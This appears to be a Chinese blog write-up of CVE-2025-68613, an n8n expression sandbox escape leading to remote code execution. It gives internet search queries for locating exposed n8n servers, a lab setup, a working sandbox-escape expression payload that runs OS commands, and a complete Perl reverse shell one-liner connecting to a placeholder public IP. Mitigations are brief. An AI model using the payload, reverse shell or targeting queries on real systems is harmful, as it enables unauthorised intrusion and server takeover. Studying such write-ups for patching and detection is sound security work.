Home
avatar

静静

CVE-2025-68613 n8n 表达式沙箱逃逸导致远程代码执行漏洞

🔬 技术分析

漏洞原理

由于 n8n 工作流表达式的评估环境未能与底层 Node.js 运行时充分隔离,导致==经过身份验证==的远程攻击者可在特定条件下,通过配置恶意表达式突破沙箱限制,从而直接访问并操作 Node.js 全局对象或内置模块,最终在运行 n8n 进程的服务器上以该进程权限执行任意操作系统命令。

搜索语法

n8n 平台远程代码执行漏洞(CVE-2025-68613)ZoomEye搜索app=“n8n” https://www.zoomeye.org/searchResult?q=YXBwPSJuOG4i

也可搜索端口5678或图标ico,多数默认配置都是如此。

hunter搜索语法

web.icon=="8ad475e8b10ff8bcff648ae6d49c88ae"
web.icon="8ad475e8b10ff8bcff648ae6d49c88ae"&&icp.number!==""&&icp.name!="公司"&&icp.name!="工作室"&&icp.type!="个人"


💣 漏洞复现

环境搭建

根据官方 docker-compose.yml,修改 n8n 版本为 1.71.0:

volumes:
  db_storage:
  n8n_storage:

services:
  postgres:
    image: postgres:16
    restart: always
    environment:
      - POSTGRES_USER=n8n_user
      - POSTGRES_PASSWORD=n8n_password 
      - POSTGRES_DB=n8n_db
      - POSTGRES_NON_ROOT_USER=n8n_root
      - POSTGRES_NON_ROOT_PASSWORD=n8n_root_password 
    volumes:
      - db_storage:/var/lib/postgresql/data
      - ./init-data.sh:/docker-entrypoint-initdb.d/init-data.sh
    healthcheck:
      test: ['CMD-SHELL', 'pg_isready -h localhost -U n8n_user -d n8n_db']
      interval: 5s
      timeout: 5s
      retries: 10

  n8n:
    image: docker.n8n.io/n8nio/n8n:1.71.0
    restart: always
    environment:
      - DB_TYPE=postgresdb
      - DB_POSTGRESDB_HOST=postgres
      - DB_POSTGRESDB_PORT=5432
      - DB_POSTGRESDB_DATABASE=n8n_db
      - DB_POSTGRESDB_USER=n8n_user
      - DB_POSTGRESDB_PASSWORD=n8n_password
    ports:
      - 5678:5678
    links:
      - postgres
    volumes:
      - n8n_storage:/home/node/.n8n
    depends_on:
      postgres:
        condition: service_healthy

利用步骤

打开页面,随便注册一个账号。这一步对应实际渗透过程中,攻击者已经通过其他途径获得登录账号。假如n8n系统本身就是弱密码,将会让风险提高。

实际登陆界面

创建一个新的 Workflow 并添加一个 Manual Trigger 节点,添加 Edit Fields(Set) 选项:

点击 Add Field,此处需要填写 name 和 valuename 处填入任意内容,在 value 处填入以下代码,切换到 Expression。点击 Test step 测试执行:

{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}

部分版本也可以直接新增exec节点

直接新建一个exec节点

想要弹回shell发现没有nc也没有python,ls /bin 发现有perl, perl也可以弹

perl -e 'use Socket;$i="公网ip";$p=4777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

🛡️ 防御措施

通用修补建议

临时缓解措施

  • 限制工作流创建和编辑权限,仅授予完全可信的用户。
  • 在加固的环境中部署 n8n,限制操作系统权限和网络访问,以减少潜在利用的影响。

🔗 参考资源

官方公告

https://www.cve.org/CVERecord?id=CVE-2025-68613

技术分析

PoC/Exploit

n8n 表达式沙箱逃逸导致远程代码执行漏洞 CVE-2025-68613

CVE